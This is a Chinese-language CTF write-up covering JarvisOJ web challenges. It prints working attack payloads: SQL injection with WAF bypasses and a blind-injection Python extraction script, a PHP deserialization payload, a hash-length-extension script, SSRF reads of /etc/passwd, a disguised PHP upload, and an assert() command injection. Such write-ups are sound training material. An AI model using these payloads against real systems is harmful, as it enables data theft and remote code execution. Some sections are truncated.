JarvisOj-Writeup



https://ws1.sinaimg.cn/large/005RaR9Jgy1g22a90m46bj30hs0mlgm8.jpg

PORT51


单纯的我输入:http://web.jarvisoj.com:51
发现不是,如果不是目的端口,那就是源端口了
源端口就是指本地端口
目的端口就是远程端口
很多人都在源端口和目的端口这两个概念上犯迷糊,
其实他们只是数据的发送方向的问题。
比如很多防火墙的规则设置都要求设置源端口和目的端口,
其实就是数据包通过防火墙的方向是向内还是向外。
源端口就是本机程序用来发送数据的端口,目的端口就是对方主机用哪个端口接收

利用curl 命令
curl –local-port 51 http://web.jarvisoj.com:32770/

LOCALHOST


直接构造X-Forwarded-For:127.0.0.1发包

Login


在header里有提示

这是因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
md5()函数有两个参数,一个是要加密的字符串,另一个是输出格式
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bvgi6fn5j30p109kwet.jpg)
默认为false
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bvnplslfj30sd05it98.jpg)
当加上true时
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bvsj88x1j30rj06zaaq.jpg)
select * from `admin` where password='".md5($pass,true)."'
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bvz1j8ymj310c06qwfk.jpg)
拼接之后就变成了
SELECT * FROM admin WHERE pass = ''or'6<trash>'
提交 ffifdyop 即可

# 神盾局的秘密
查看源码,发现img值被base64 尝试读取showimg.php
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bw339cgfj30ek02v74e.jpg)
view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bw4ssxmkj30nz055wei.jpg)
这是用来过滤的,再看Index.php
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bw74j261j30gg05jjrd.jpg)
可能涉及到反序列化,接着读取shield.php
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bw98tow9j30lx07aq33.jpg)
构造序列化

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = ‘’) {
$this -> file = $filename;
}

    function readfile() {
        if (!empty($this->file) && stripos($this->file,'..')===FALSE  
        && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
            return @file_get_contents($this->file);
        }
    }
}
$x = new Shield('pctf.php');
echo serialize($x);

?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bwfup2wnj30rk06h3z0.jpg)

# IN A Mess

![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bwi4jn68j30et044glt.jpg)
看到个ID参数,本能的尝试sql注入测试
查看源码
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bwmsk9v1j30h0032q33.jpg)
访问index.phps,是一道代码审计
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bwnf2m4jj30t70d3t99.jpg)

id:id==0典型的PHP弱比较,利用id=0a或id=0e123或id=asd均可实现绕过

b:strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 这里要求:b的长度大于5,且是基于eregi函数的弱类型,用%00的绕过( strlen函数对%00不截断但substr截断)那么可以令b=%00411111

data: 用php://input,data 协议
?id=0e&a=data:,1112%20is%20a%20nice%20lab!&b=%00411111
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bxndjerhj30cn03vq2q.jpg)
发现不是flag 于是访问一下
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bxqnf23ij30c5023t8h.jpg)
进行sql注入测试
发现过滤空格
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bxrl2a57j305n0150np.jpg)
``` /*1*/ ```进行绕过
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bxtnvrsuj30c3021we9.jpg)
猜解字段

id=1/1/order/1/by/1/3

1
发现union select 等关键词也被waf,用双写进行绕过

/index.php?id=-1/1/ununionion/1/sselectelect/1/1,2,3

1
2
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1by4543n9j30400100cb.jpg)
接下来进行常规注入

id=-1/1/ununionion/1/selselectect/1/1,2,database()#
index.php?id=-1/1/ununionion/1/selselectect/1/1,2,group_concat(id,context,title)/1/frfromom/1/content#

1
2
3
4
5
6
7
8
9
10
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1by6jgs7sj30co01rgle.jpg)

# RE?
下载下来后文件名为udf.so.XXXXX,用mysql导入一下。具体过程如下。

将udf文件放到/usr/lib/mysql/plugin/文件夹中:

/usr/lib/mysql/plugin# wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

登陆mysql后,加载help_me函数:

mysql> create function help_me returns string soname ‘udf.so.02f8981200697e5eeb661e64797fc172’;

1
2
3
利用help_me函数:
![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1byabzqy7j30ii046dfu.jpg)
利用udf再创建一个getflag函数。

mysql> create function getflag returns string soname ‘udf.so.02f8981200697e5eeb661e64797fc172’;
Query OK, 0 rows affected (0.05 sec)

1
2
3
4
5
6
7
8
9
10
得到flag:

![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bybfs4qmj30iy05974b.jpg)

# flag在管理员手里

![](https://ws1.sinaimg.cn/large/005RaR9Jgy1g1bye1p1t1j30jn04kq2v.jpg)
在http头发现cookie头的hash 估计是哈希长度拓展攻击
利用安装hash_extender 进行攻击
在linux

git clone https://github.com/iagox86/hash_extender
cd hash_extender
make

1
在hash_extender目录下新建test.py文件

-- coding:utf-8 --

from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib
def gao(x, y):

    #print x
    #print y
url = "http://web.jarvisoj.com:32778/index.php"
cookie = "role=" + x + "; hsh=" + y
    #print cookie
build_header = {
        'Cookie': cookie,
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
        'Host': 'web.jarvisoj.com:32778',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}
urlparts = urlparse(url)
conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
conn.request("GET", urlparts.path, '', build_header)
resp = conn.getresponse()
body = resp.read()
return body

for i in xrange(1000):
print i

# secret len = ???
find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5  -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
#print find_hash
calc_res = os.popen(find_hash).readlines()
hash_value = calc_res[0][:32]
attack_padding = calc_res[0][32:]
attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
ret = gao(attack_padding, hash_value)
if "Welcome" in ret:
    print ret
    break
1
然后在该目录输入 ```python test.py

Chopper


点击管理员登入


查看源码

发现url参数可控

所以我们可以基本判断,这里是存在SSRF的

1
http://web.jarvisoj.com:32782/proxy.php?url=file:///etc/passwd


发现被过滤了
进行大写转换

1
http://web.jarvisoj.com:32782/proxy.php?url=File:///etc/passwd


接下来进程站点目录挖掘

当不给url 参数值时 就会报错

1
view-source:http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/proxy.php


接下来读取admin目录

1
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/index.html


对admin目录进行爆破
发现robots.txt

访问trojan.php,得到flag

Easy Gallery

打开是这么一个页面

尝试先上传一个正常的jpg文件,然后在view中查看

右击复制图片链接地址,得到图片地址

1
http://web.jarvisoj.com:32785/uploads/1553405018.jpg

上传木马图片,用菜刀连接,连接失败
观察这两个链接

1
2
http://web.jarvisoj.com:32785/index.php?page=submit
http://web.jarvisoj.com:32785/index.php?page=view

加上单引号试试

1
http://web.jarvisoj.com:32785/index.php?page=view'


可能存在文件包含漏洞,试着包含刚刚的图片

发现被加上了php后缀,尝试用%00 进行绕过

尝试更换另一种script木马试试

1
2
3
GIF89a

<script language="php">phpinfo();</script>

Simple Injection


尝试使用username=admin&password=123456,页面返回密码错误
尝试使用username=user&password=123456,页面返回用户名错误
那么就说明验证方式是采用的用户名和密码分步验证的。

使用username=admin’#&password=123456,页面返回密码错误,说明后台没有对#和’进行过滤。
使用username=admin’ or 1=1#&password=123456,页面返回用户名错误,上面后台对admin’ or 1=1#中的部分内容进行了过滤。过滤的内容有可能是or也有可能是空格。
使用username=user’//or//1=1#&password=123456,页面返回密码错误,说明输入的SQL语句能够被执行,这也表明后台仅仅是过滤了空格。
总结,username存在sql注入,同时仅仅只是过滤了空格,那么就是一个盲注了

查找表,username=user'/**/or/**/exists(select/**/*/**/from/**/ admin)#&password=123456,页面返回密码错误,那么就说明在数据库中存在admin表

查找字段username=user'/**/or/**/exists(select/**/username,password/**/from/**/admin)#&password=123456,页面返回密码错误,说明在admin表中存在username和password字段。

得到password长度,username=user'/**/or/**/(select/**/length(password)/**/from/**/admin)>10#&password=123456,通过二分试探法,最终发现password的字段长度是32位,说明可能采用的是md5的方式来进行加密的

在确定了password的长度之后,接下来就是利用Python来进行爆破了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

def get_data():
result = ""
url = 'http://web.jarvisoj.com:32787/login.php'
payload = {
"username":'xx',
"password":1,
}
username_template = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
chars = '0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
for char in chars:
char_ascii = ord(char)
username = username_template.format(i,char_ascii)
payload['username'] = username
response = requests.post(url,data=payload)
length = len(response.text)
# print(length)
#返回的长度只有11911192
if length>1191:
print(char)
result += char
break
print(result)

get_data()

得到密码的md5:334cfb59c9d74849801d5acdcfdaadc3
解md5后得:eTAloCrEP
登陆后得到flag:

api调用

XXE漏洞

PHPINFO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

WEB?

admin

发现robots.txt 访问 http://web.jarvisoj.com:32792/admin_s3cr3t.php
修改cookie 再次访问得到flag

babyphp

发现git文件泄漏,于是提取出来

分析index. php

这里对page 进行了过滤
这里是assert()引起的代码注入



通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码
当page = flag’.system(“ls”).’
assert(“strpos(‘$file’, ‘..’) === false”)
拼接得到:assert(“strops(‘flag’.system(“ls”).’’,’..’) === false”)

接下来构造
?page=’.system(‘cat templates/flag.php’).’

说明一下:assert与eval的区别
assert把整个字符串参数当php代码执行,eval把合法的php代码执行。

dctf]inject

dctf]register

babyphp

babyxss